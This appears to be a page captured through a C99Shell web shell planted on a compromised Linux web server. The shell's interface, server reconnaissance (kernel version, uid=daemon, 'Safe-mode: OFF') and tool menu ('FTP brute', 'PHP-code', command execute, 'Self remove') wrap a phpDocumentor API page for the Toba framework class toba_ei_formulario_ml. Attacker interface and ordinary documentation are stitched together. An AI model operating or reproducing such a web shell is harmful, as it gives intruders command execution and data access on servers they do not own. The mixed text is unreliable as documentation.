!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_editor/www/doc/api/Componentes/Eis/   drwxr-xr-x
Free 13.65 GB of 61.93 GB (22.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_ei_formulario_ml.html (132.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Docs For Class toba_ei_formulario_ml
phpDocumentor
[ árbol de herencia: Componentes ] [ índice: Componentes ] [ índice general ]

toba_ei_formulario_ml

toba_componente
   |
   --toba_ei
      |
      --toba_ei_formulario
         |
         --toba_ei_formulario_ml

Ubicada en /nucleo/componentes/interface/toba_ei_formulario_ml.php [line 14]

Clase Javascript equivalente: ei_formulario_ml

Métodos Heredados

Heredado de toba_ei_formulario

__construct()
agregar_ef()
Permite agregar dinamicamente un EF al formulario
aplicar_restricciones_funcionales()
desactivar_efs()
desactivar_validacion_ef()
destruir()
ef()
Retorna la referencia a un ef contenido
ef_tiene_maestros_seteados()
Determina si todos los maestros de un ef esclavo poseen datos
existe_ef()
Indica si existe un ef
generar_etiqueta_ef()
General el html de la etiqueta de un ef especifico
generar_html()
generar_html_ef()
Genera la etiqueta y el componente HTML de un ef
generar_html_impresion_ef()
Genera la etiqueta y la vista de impresion de un ef
generar_input_ef()
generar_layout()
Genera el cuerpo del formulario conteniendo la lista de efs
generar_layout_impresion()
Genera para la impresion html el cuerpo del formulario conteniendo la lista de efs
generar_layout_template()
generar_layout_template_impresion()
get_cantidad_efs()
Retorna la cantidad de efs
get_datos()
Recupera el estado actual del formulario.
get_efs_activos()
Retorna la lista de identificadores que no estan desactivados
get_etiqueta_ef()
Retorna el html de la etiqueta de un ef especifico
get_html_ef()
Retorna la etiqueta y el componente HTML de un ef
get_html_impresion_ef()
get_input_ef()
get_nombres_ef()
Retorna todos los ids de los efs
get_objeto_js_ef()
Retorna una referencia al ef en javascript
get_tab_index()
Consume un tabindex html del componente y lo retorna
limpiar_interface()
Borra los datos actuales y resetea el estado de los efs
restaurar_ancho_etiqueta()
Restaura el valor previo a un cambio del ancho de la etiqueta
servicio__cascadas_efs()
servicio__filtrado_ef_ce()
servicio__filtrado_ef_ce_validar()
servicio__mostrar_captchas_efs()
set_ancho()
Cambia el ancho total del formulario
set_ancho_etiqueta()
set_callback_validacion()
set_datos()
Carga el formulario con un conjunto de datos
set_datos_defecto()
Carga el formulario con valores por defecto, generalmente para un alta
set_detectar_cambios()
set_efs_obligatorios()
set_expandir_descripcion()
set_formateo_ef()
Cambia la forma en que se le da formato a un ef en las salidas pdf, excel y html
set_pdf_letra_tabla()
set_pdf_tabla_ancho()
Permite setear el ancho del formulario.
set_pdf_tabla_opciones()
Permite setear el estilo que llevara la tabla en la salida pdf.
set_solo_lectura()
set_template()
Cambia el layout actual del formulario usando un template
validar_estado()
Recorre todos los efs y valida sus valores actuales
vista_excel()
vista_impresion_html()
vista_pdf()
vista_xml()
Genera el xml del componente
xml_set_ef_no_procesar()
Permite definir elementos de formulario que no se desea incluir en el XML

Heredado de toba_ei

__construct()
agregar_evento()
Determina que un evento definido va a formar parte de los eventos a mostrar en el servicio actual
agregar_notificacion()
Agrega un mensaje de notificacion a esta pantalla
botonera_abajo()
Devuelve True si la botonera del componente se debe ubicar abajo o en ambos extremos del mismo.
botonera_arriba()
Devuelve True si la botonera del componente se debe ubicar arriba o en ambos extremos del mismo.
cant_eventos_sobre_fila()
Retorna la cantidad de eventos que fueron definidos a nivel de fila
colapsar()
Fuerza a que el componente se grafique colpsado, pudiendo el usuario descolapsarlo posteriormente
descolapsar()
Fuerza a que el componente se grafique descolapsado, pudiendo el usuario colapsarlo posteriormente
destruir()
Destructor del componente
eliminar_evento()
Elimina un evento definido de la lista de eventos a utilizar en el servicio actual
evento()
Recupera el objeto asociado de un evento
existe_evento()
Verifica si un evento esta definido en la lista de eventos a utilizar en el servicio actual
extender_objeto_js()
generar_boton()
Metodo para graficar un boton por orden del usuario
generar_botones()
Genera la botonera del componente
generar_botones_eventos()
Genera los botones de todos los eventos marcados para aparecer en la botonera.
generar_html_barra_sup()
generar_html_boton()
get_eventos_sobre_fila()
Retorna la lista de eventos que fueron definidos a nivel de fila
get_grupo_eventos_activo()
Retorna el grupo de eventos activos
get_id_form()
Retorna el identificador base para los campos HTML
get_id_objeto_js()
Retorna el id del componente en javascript.
get_invocacion_evento_fila()
Dado una fila, genera el html de los eventos de la misma
get_lista_eventos_internos()
Retorna todos los eventos definidos por el componente (llamados internos), excluyendo los definidos por el usuario
get_lista_eventos_usuario()
Retorna todos los eventos definidos por el usuario, excluyendo los internos del componente
get_objeto_js()
get_puntos_control()
hay_botones()
Retorna true si alguno de los eventos definidos por el usuario se va a graficar en la botonera del componente
mostrar_barra_superior()
Configura la visibilidad de la barra superior
reportar_evento()
Reporta un evento en el componente controlador
reportar_evento_interno()
set_colapsable()
Determina si el componente podra ser colapsado/descolapsado por el usuario
set_descripcion()
set_disparo_eventos_condicionado_datos()
Especifica si el disparo de los eventos implicitos debe estar asociado al cambio de datos o no
set_grupo_eventos_activo()
Activa un grupo de eventos, excluyendo a aquellos eventos que no pertenecen al mismo
set_modo_descripcion()
set_refresh_ejecuta_eventos()
Hace que los componentes reenvien sus eventos cuando se hace un refresh sobre la pagina
set_titulo()
Cambia el titulo del componente para el servicio actual
tiene_puntos_control()
vista_impresion()
Despachador de tipos de salidas de impresion
vista_impresion_html()
Impresion HTML por defecto
xml_get_att_comunes()
Retorna los atributos que pueden ser incluidos en cualquier tag, y que definen propiedades del documento pdf.
xml_get_elem_comunes()
xml_get_informacion_basica_vista()
xml_imagen()
Devuelve un string con el xml de una imagen a incluir.
xml_set_alto_cabecera()
xml_set_alto_pie()
xml_set_atts_ei()
xml_set_cabecera()
xml_set_dim_pagina()
xml_set_incluir_cabecera()
xml_set_incluir_pie()
xml_set_logo()
xml_set_margenes()
xml_set_nro_copias()
Define el numero de copias que deben aparecer en el pdf.
xml_set_ns()
Define un namespace a utilizar con los elementos xml.
xml_set_orientacion()
xml_set_pie()
xml_set_subtitulo()
xml_set_tabla_cols()
Define atributos comunes a columnas de una tabla (atributos del elemento table-column de xsl-fo).
xml_set_titulo()
Define el titulo a utilizar en la cabecera del pdf
xml_tabla()
Devuelve un string con el xml de una tabla a incluir. $datos es un array cuyo primer nivel representan las
xml_texto()
Devuelve un string con el xml de un texto y sus atributos a incluir

Heredado de toba_componente

__construct()
agregar_dependencia()
agregar_dependencia_por_indice()
borrar_memoria()
Elimina toda la memoria interna actual y de pedidos anteriores
controlador()
Retorna la referencia al componente padre o contenedor del actual, generalmente un ci
dep()
dependencia()
Accede a una dependencia del objeto, opcionalmente si la dependencia no esta cargada, la carga
dependencia_cargada()
destruir()
Destructor del componente
eliminar_estado_sesion()
Elimina de la sesion las propiedades de este componente, a su vez pone en null estas propiedades en este objeto
existe_dependencia()
Retorna verdadero si un componente es dependencia del actual
get_cantidad_dependencias()
Retorna la cantidad de dependencias cargadas
get_dependencias()
Retorna un array con las dependencias cargadas del componente
get_dependencias_clase()
Devuelve las dependencias cuya clase de componente coincide con la expresion regular pasada como parametro
get_estado_sesion()
Construye un arreglo con los valores de todas las propiedades a almacenarse en sesion
get_id()
Retorna el identificador del componente
get_mensaje()
Retorna un mensaje asociado al componente
get_nombre()
get_parametro()
get_titulo()
informar()
Informa un mensaje predefinido al usuario, usando toba::notificacion() y toba::mensajes()
informar_msg()
Informa un mensaje al usuario
ini()
inicializado()
invocar_callback()
Metodo generico de invocar callbacks en el propio objeto
log()
Shortcut de toba::logger()->debug
mantener_estado_sesion()
set_controlador()
Determina que el componente actual es controlado por otro
set_modo_compatible_manejo_sesion()
set_propiedades_sesion()
Fuerza a persistir en sesion ciertas propiedades internas
__sleep()

Métodos Propios
static void   set_callback_validacion()  
toba_ei_formulario_ml   __construct()  
void   agregar_registro()   Agrega un registro nuevo a la matriz de datos
void   analizar_diferencias()  
void   carga_inicial()  
boolean   datos_cargados()   El formulario posee datos?
void   desactivar_agregado_filas()   No permite que el usuario pueda agregar nuevas filas en el cliente
void   deseleccionar()  
void   destruir()  
void   generar_botonera_manejo_filas()   Genera el HTML de la botonera de agregar/quitar/ordenar filas
void   generar_botones()   Genera la botonera del componente
void   generar_etiqueta_columna()   General el html de la etiqueta de un ef especifico
void   generar_eventos_fila()   Dado una fila, genera el html de los eventos de la misma
void   generar_html()  
void   generar_layout_fila()   Genera el cuerpo del formulario conteniendo la lista de efs
integer   get_cantidad_lineas()  
void   get_clave_fila()   Retorna la posicion en el arreglo de datos donde se ubica un id interno de fila
array   get_datos()   Retorna el set de datos que maneja actualmente el componente
string   get_objeto_js_ef()   Retorna una referencia al ef en javascript
void   limpiar_interface()   Borra los datos actuales y resetea el estado de los efs
void   seleccionar()   Indica al formulario cual es la clave seleccionada.
void   set_borrar_en_linea()  
void   set_datos()   Carga el formulario con un conjunto de datos.
void   set_exportar_excel()   Permite indicar por api si se exporta a excel el formulario
void   set_exportar_pdf()   Permite indicar por api si se exporta a pdf el formulario
void   set_metodo_analisis()  
void   set_modo_agregar()  
void   set_mostrar_agregar()  
void   set_mostrar_cabecera_sin_datos()   Se muestra la cabecera/pie en caso de que no tenga datos el formulario (por defecto true)
void   set_mostrar_utilerias_orden()   Muestra las utilerias para ordenar filas
void   set_ocultar_agregar()  
void   set_ordenar_en_linea()  
void   set_proximo_id()   Cambia la clave o id a utilizar para la siguiente fila creada en este formulario
void   set_registro_nuevo()  
void   totalizar_columnas_impresion()  
void   validar_estado()   Recorre todos los datos del formulario, cargandolos en los efs y validando estos el estado
void   vista_excel()  
void   vista_impresion_html()  
void   vista_pdf()  
string   vista_xml()   Genera el xml del componente

static method set_callback_validacion  [línea 450]

  static void set_callback_validacion( toba_valida_datos $validador  )

Parámetros:
toba_valida_datos   $validador: 

Redefinición de:
toba_ei_formulario::set_callback_validacion()

Constructor __construct  [línea 40]

  toba_ei_formulario_ml __construct( $id  )

Parámetros:
   $id: 

Redefinición de:
toba_ei_formulario::__construct()

agregar_registro  [línea 563]

  void agregar_registro( [ $valores = array()]  )

Agrega un registro nuevo a la matriz de datos

Parámetros:
   $valores: 

See:  toba_ei_formulario_ml::set_registro_nuevo(), toba_ei_formulario_ml::set_datos()


analizar_diferencias  [línea 426]

  void analizar_diferencias( $datos  )

Parámetros:
   $datos: 


carga_inicial  [línea 303]

  void carga_inicial( )



datos_cargados  [línea 601]

  boolean datos_cargados( )

El formulario posee datos?


desactivar_agregado_filas  [línea 202]

  void desactivar_agregado_filas( )

No permite que el usuario pueda agregar nuevas filas en el cliente


deseleccionar  [línea 183]

  void deseleccionar( )



destruir  [línea 47]

  void destruir( )


Redefinición de:
toba_ei_formulario::destruir()

generar_botonera_manejo_filas  [línea 1037]

  void generar_botonera_manejo_filas( )

Genera el HTML de la botonera de agregar/quitar/ordenar filas

Access:  protected


generar_botones  [línea 894]

  void generar_botones( [string $clase = ''], [ $extra = '']  )

Genera la botonera del componente
Parámetros:
string   $clase:  Clase css con el que se muestra la botonera
   $extra: 

Redefinición de:
toba_ei::generar_botones()
Genera la botonera del componente

generar_etiqueta_columna  [línea 835]

  void generar_etiqueta_columna( string $ef  )

General el html de la etiqueta de un ef especifico
Parámetros:
string   $ef:  Id. del ef

Access:  protected


generar_eventos_fila  [línea 1025]

  void generar_eventos_fila( integer $fila  )

Dado una fila, genera el html de los eventos de la misma
Parámetros:
integer   $fila: 

Access:  protected


generar_html  [línea 686]

  void generar_html( )


Redefinición de:
toba_ei_formulario::generar_html()

generar_layout_fila  [línea 1006]

  void generar_layout_fila( $clave_fila  )

Genera el cuerpo del formulario conteniendo la lista de efs

Parámetros:
   $clave_fila: 

Access:  protected

Information Tags:
Ventana:  Extender para cambiar el layout por defecto

get_cantidad_lineas  [línea 387]

  integer get_cantidad_lineas( )



get_clave_fila  [línea 460]

  void get_clave_fila( $fila  )

Retorna la posicion en el arreglo de datos donde se ubica un id interno de fila

Esta posicion puede ser el mismo id interno en caso de que las diferencias se analizen online

  • puede ser el posicionamiento simple si no hay analisis

Parámetros:
   $fila: 

Access:  protected


get_datos  [línea 399]

  array get_datos( [boolean $analizar_diferencias = false]  )

Retorna el set de datos que maneja actualmente el componente

Si se llama en la etapa de eventos contiene los datos recibidos del POST Si se llama en la etapa de servicio contiene los datos cargados con set_datos

Parámetros:
boolean   $analizar_diferencias: 

Return:  Formato recordset, la clave de la fila se envia como clave asociativa y como columna. Ej. array(clave_fila=> array(apex_datos_clave_fila =>clave_fila, columna=>valor, ...), ..)

Redefinición de:
toba_ei_formulario::get_datos()
Recupera el estado actual del formulario.

get_objeto_js_ef  [línea 1158]

  string get_objeto_js_ef( string $id  )

Retorna una referencia al ef en javascript
Parámetros:
string   $id:  Id. del ef

Redefinición de:
toba_ei_formulario::get_objeto_js_ef()
Retorna una referencia al ef en javascript

limpiar_interface  [línea 370]

  void limpiar_interface( )

Borra los datos actuales y resetea el estado de los efs

Redefinición de:
toba_ei_formulario::limpiar_interface()
Borra los datos actuales y resetea el estado de los efs

seleccionar  [línea 193]

  void seleccionar( string $clave  )

Indica al formulario cual es la clave seleccionada.

Parámetros:
string   $clave:  Identificador de la clave de la fila a seleccionar


set_borrar_en_linea  [línea 132]

  void set_borrar_en_linea( boolean $en_linea  )

Parámetros:
boolean   $en_linea: 


set_datos  [línea 495]

  void set_datos( array $datos, [ $set_cargado = true]  )

Carga el formulario con un conjunto de datos.

Si el formulario tiene definido un ordenamiento, aqui es donde se lleva a cabo

Parámetros:
array   $datos: 
   $set_cargado: 

Redefinición de:
toba_ei_formulario::set_datos()
Carga el formulario con un conjunto de datos

set_exportar_excel  [línea 106]

  void set_exportar_excel( [boolean $exportar = true]  )

Permite indicar por api si se exporta a excel el formulario
Parámetros:
boolean   $exportar: 

Information Tags:
Todo:  Cambiar cuando esta informacion pase a formar parte de los metadatos

set_exportar_pdf  [línea 115]

  void set_exportar_pdf( [boolean $exportar = true]  )

Permite indicar por api si se exporta a pdf el formulario
Parámetros:
boolean   $exportar: 

Information Tags:
Todo:  Cambiar cuando esta informacion pase a formar parte de los metadatos

set_metodo_analisis  [línea 84]

  void set_metodo_analisis( string $metodo  )

Parámetros:
string   $metodo:  Puede ser (literal): LINEA, EVENTOS, o false (sin analisis)


set_modo_agregar  [línea 142]

  void set_modo_agregar( boolean $es_inferior, [string $texto_a_mostrar = null]  )

Parámetros:
boolean   $es_inferior: 
string   $texto_a_mostrar:  Cadena a mostrar al lado del icono de agregar


set_mostrar_agregar  [línea 158]

  void set_mostrar_agregar( )



set_mostrar_cabecera_sin_datos  [línea 175]

  void set_mostrar_cabecera_sin_datos( $mostrar  )

Se muestra la cabecera/pie en caso de que no tenga datos el formulario (por defecto true)
Parámetros:
   $mostrar: 


set_mostrar_utilerias_orden  [línea 167]

  void set_mostrar_utilerias_orden( [boolean $mostrar = true]  )

Muestra las utilerias para ordenar filas
Parámetros:
boolean   $mostrar: 


set_ocultar_agregar  [línea 150]

  void set_ocultar_agregar( )



set_ordenar_en_linea  [línea 123]

  void set_ordenar_en_linea( boolean $en_linea  )

Parámetros:
boolean   $en_linea: 


set_proximo_id  [línea 591]

  void set_proximo_id( integer $id  )

Cambia la clave o id a utilizar para la siguiente fila creada en este formulario

Parámetros:
integer   $id: 


set_registro_nuevo  [línea 578]

  void set_registro_nuevo( [array $template = array()]  )

Parámetros:
array   $template:  Valores por defecto de la nueva fila, false si se quiere cancelar el alta del registro

See:  toba_ei_formulario_ml::agregar_registro()


totalizar_columnas_impresion  [línea 1326]

  void totalizar_columnas_impresion( )



validar_estado  [línea 351]

  void validar_estado( )

Recorre todos los datos del formulario, cargandolos en los efs y validando estos el estado

Information Tags:
Todo:  
Throws:  
Redefinición de:
toba_ei_formulario::validar_estado()
Recorre todos los efs y valida sus valores actuales

vista_excel  [línea 1286]

  void vista_excel( $salida  )

Parámetros:
toba_vista_excel   $salida: 

Redefinición de:
toba_ei_formulario::vista_excel()

vista_impresion_html  [línea 1177]

  void vista_impresion_html( $salida  )

Parámetros:
toba_impresion   $salida: 

Redefinición de:
toba_ei_formulario::vista_impresion_html()

vista_pdf  [línea 1228]

  void vista_pdf( $salida  )

Parámetros:
   $salida: 

Redefinición de:
toba_ei_formulario::vista_pdf()

vista_xml  [línea 1356]

  string vista_xml( [boolean $inicial = false], [string $xmlns = null]  )

Genera el xml del componente
Parámetros:
boolean   $inicial:  Si es el primer elemento llamado desde vista_xml
string   $xmlns:  Namespace para el componente

Return:  XML del componente

Redefinición de:
toba_ei_formulario::vista_xml()
Genera el xml del componente



Desarrollado por SIU.
Documentación generada con phpDocumentor 1.4.3

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4872 ]--